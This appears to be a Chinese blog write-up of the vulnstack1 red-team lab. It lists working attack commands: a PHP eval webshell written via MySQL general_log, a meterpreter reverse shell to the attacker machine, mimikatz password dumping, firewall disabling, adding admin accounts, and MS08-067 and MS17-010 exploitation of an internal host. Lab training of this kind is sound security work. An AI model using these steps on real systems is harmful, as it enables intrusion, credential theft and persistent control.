0x00 关于

描述

这玩太长了。。点我查看
红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习、视频教程、博客三位一体学习。另外本次实战完全模拟ATT&CK攻击链路进行搭建,开成完整闭环。后续也会搭建真实APT实战环境,从实战中成长。关于环境可以模拟出各种各样实战路线,目前给出作者实战的一套攻击实战路线如下,虚拟机所有统一密码:hongrisec@2019:

一、环境搭建
1.环境搭建测试
2.信息收集

二、漏洞利用
3.漏洞搜索与利用
4.后台Getshell上传技巧
5.系统信息收集
6.主机密码收集

三、内网搜集
7.内网--继续信息收集
8.内网攻击姿势--信息泄露
9.内网攻击姿势-MS08-067
10.内网攻击姿势-SMB远程桌面口令猜测
11.内网攻击姿势-Oracle数据库TNS服务漏洞
12.内网攻击姿势-RPC DCOM服务漏洞

四、横向移动
13.内网其它主机端口-文件读取
14.内网其它主机端口-redis
15.内网其它主机端口-redis Getshell
16.内网其它主机端口-MySQL数据库
17.内网其它主机端口-MySQL提权

五、构建通道
18.内网其它主机端口-代理转发

六、持久控制
19.域渗透-域成员信息收集
20.域渗透-基础服务弱口令探测及深度利用之powershell
21.域渗透-横向移动[wmi利用]
22.域渗透-C2命令执行
23.域渗透-利用DomainFronting实现对beacon的深度隐藏
24.域渗透-域控实现与利用

七、痕迹清理
25、日志清理

下载

文件大小: 13 GB
文件MD5: e16fd0f6a5104aef0dfa73460afff0e8
文件SHA1: 078ce02d01298fe40a1feb8260fde79d5fb06bc6
下载地址:
密码:n1u2
更多信息请点我

0x01 环境搭建

拓扑图如下:
vulnstack1_拓扑图.png

这里使用的是VMware虚拟机,靶机下载下来一共有三个,VM1为Win7,VM2为Win2003,VM3为Win2008
VMware网络编辑器配置如下:
vulnstack1_VMware.png

攻击机kali网卡设置为:VMnet8(NAT模式)
VM1(Win7)添加一块网卡,分别设置为:VMnet1(仅主机模式)VMnet8(NAT模式)
VM2(Win2003)网卡设置为:VMnet1(仅主机模式)
VM2(Win2008)网卡设置为:VMnet1(仅主机模式)
关于VMware的三种网络连接模式:桥接模式、NAT模式以及仅主机模式的介绍和区别

然后需要进入VM1(Win7)C:\phpStudy下手动打开phpStudy
第一次登陆可能需要叫你更改密码

0x02 信息收集

主机发现

kali机IP:192.168.255.130
VM1(Win7)机IP:192.168.255.131
vulnstack1_1.png

端口扫描

nmap -Pn -A 192.168.255.131
vulnstack1_2.png

目标开放端口:

端口描述
80http
3306mysql

0x03 漏洞挖掘

直接扫描目标站是一个探针页面:
vulnstack1_3.png

然后目录扫描扫出了一个phpmyadmin
vulnstack1_4.png

随便试了下弱口令rootroot就登进去了。。。
vulnstack1_5.png

phpmyadmin后台的getshell方法有很多种
先看下常规的select into outfilevulnstack1_6.png
这里secure_file_privnull,不允许写入写出。
放弃此方法,尝试MySQL通用查询日志general_log写出webshell。
先看下全局变量的配置show global variables like '%general%'
vulnstack1_7.png

这里并没有开启通用日志,那我就自己打开,并自定义保存文件:

SET GLOBAL general_log = 'ON'
SET GLOBAL general_log_file = 'C:/phpStudy/WWW/shell.php'

这里的绝对路径是通过前面的探针获取到的。

然后随便写一句select '<?php @eval($_POST["123"]);?>'执行后就成了
vulnstack1_8.png

0x04 内网渗透

为了方便后续渗透,我们可以反弹一个msf的shell。
kali上配置监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.255.130
set lport 8848
run

msfvenom
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.255.130 lport=8848 -f exe -o shell.exe
vulnstack1_9.png
生成的shellcode,用蚁剑上传到VM1,然后执行
在kali上接收到反弹的shell:
vulnstack1_10.png

下面开始抓取本地管理员的密码
尝试下getsystem提权成功:
vulnstack1_11.png

抓取密码可以加载mimikatz

1.mimikatz可以从 lsass.exe 进程里获取windows处于active状态账号的明文密码。
2.mimikatz模块的使用需要Administrator权限或者System权限。MSF中自带mimikatz模块,MSF中的 mimikatz 模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。而且在64位系统下必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载mimikatz并且查看系统明文。但是在32位系统下则没有这个限制。

先查看VM1系统信息:
vulnstack1_12.png

VM1是64位系统,我们使用ps命令查看进程,找一个64位的进程,并且用户是NT AUTHORITY\SYSTEM,这样迁移后meterpreter的权限是迁移到的进程的权限。
这里就随便选个进程ID336的进程:
vulnstack1_13.png

migrate 336进行迁移:
vulnstack1_14.png

加载mimikaatz模块load mimikatz
vulnstack1_15.png

help mimikatzmimikatz有如下七个命令:
vulnstack1_16.png

kerberos:kerberos相关的模块
livessp:尝试检索livessp凭据
mimikatz_command:运行一个定制的命令
msv:msv凭证相关的模块,列出目标主机的用户密码哈希
ssp:ssp凭证相关的模块
tspkg:tspkg凭证相关的模块
wdigest:wdigest凭证相关的模块

我们这里使用的mimikatz_command模块

通过加载一个不存在的模块a,让其报错,来使mimikatz_command显示全部功能mimikatz_command -f a::
vulnstack1_17.png

我们选择sekurlsa下的searchPasswords功能来查看明文密码mimikatz_command -f sekurlsa::searchPasswords
vulnstack1_18.png

获得密码hongrisec@2019..

这里我后续尝试的时候抓取不到密码,自己上传个mimikatz就行了
upload /root/mimikatz.exe c:\\phpstudy\\WWW
vulnstack1_mimikatz2.png

这里本身就是NT AUTHORITY\SYSTEM,就不用privilege::debug进行提权了
下面直接运行,然后sekurlsa::loginPasswords抓取密码
vulnstack1_mimikatz3.png

下面尝试远程登录。刚开始端口扫描结果没扫除3389端口。所以我们需要手动开启
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
在重新查看下端口信息netstat -ano | find "3389"
vulnstack1_21.png

这里直接远程连接也是连不上的,需要关闭VM1的防火墙
netsh advfirewall set allprofiles state off
vulnstack1_22.png

这之后就可以正常连接了:
vulnstack1_rdesktop.png

注:这里的用户名需要填写域名\域用户名God\Administrator

vulnstack1_rdesktop2.png

也可自行创建用户,并提升为管理权限:

net user username password /add
net localgroup administrators username /add

下面开始拿第二台机器
获取内网网段run get_local_subnets
vulnstack1_24.png

添加路由run autoroute -s 192.168.52.0/24
vulnstack1_25.png

利用VM1发现内网网段下的IP,VM1下cmd执行:
for /L %i IN (1,1,254) DO ping -w 2 -n 1 192.168.52.%i

关于该语句for list of numbers解释:
FOR /L %%parameter IN (start,step,end) DO command

然后可以得到下面俩IP:
vulnstack1_26.png

关于内网机器的姿势有下面几种:
vulnstack1_internal_1.png

为了后续方便我们可以使用msf的auxiliary/server/socks4a模块设置代理


先用msf的auxiliary/scanner/portscan/tcp扫下VM2的端口:
vulnstack1_27.png

根据上面姿势用MS08-067

use exploit/windows/smb/ms08_067_netapi
set payload windows/meterpreter/bind_tcp
set rhosts 192.168.52.141
run

成功:
vulnstack1_28.png

看了下其他大佬的wp,似乎MS08-067和msf的ms17_010_psexec模块都用利用不了。
最后用的ms17_010_command模块来执行命令,添加用户,关防火墙。命令如下:

use auxiliary/admin/smb/ms17_010_command
show options
set rhosts 192.168.52.141
set command net user test @!FuckSEC!@ /add #添加用户
run #成功执行
set command net localgroup administrators test /add #管理员权限
run #成功执行
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
run #成功执行

Last modification:March 9th, 2020 at 09:10 am
如果觉得我的文章对你有用,请随意赞赏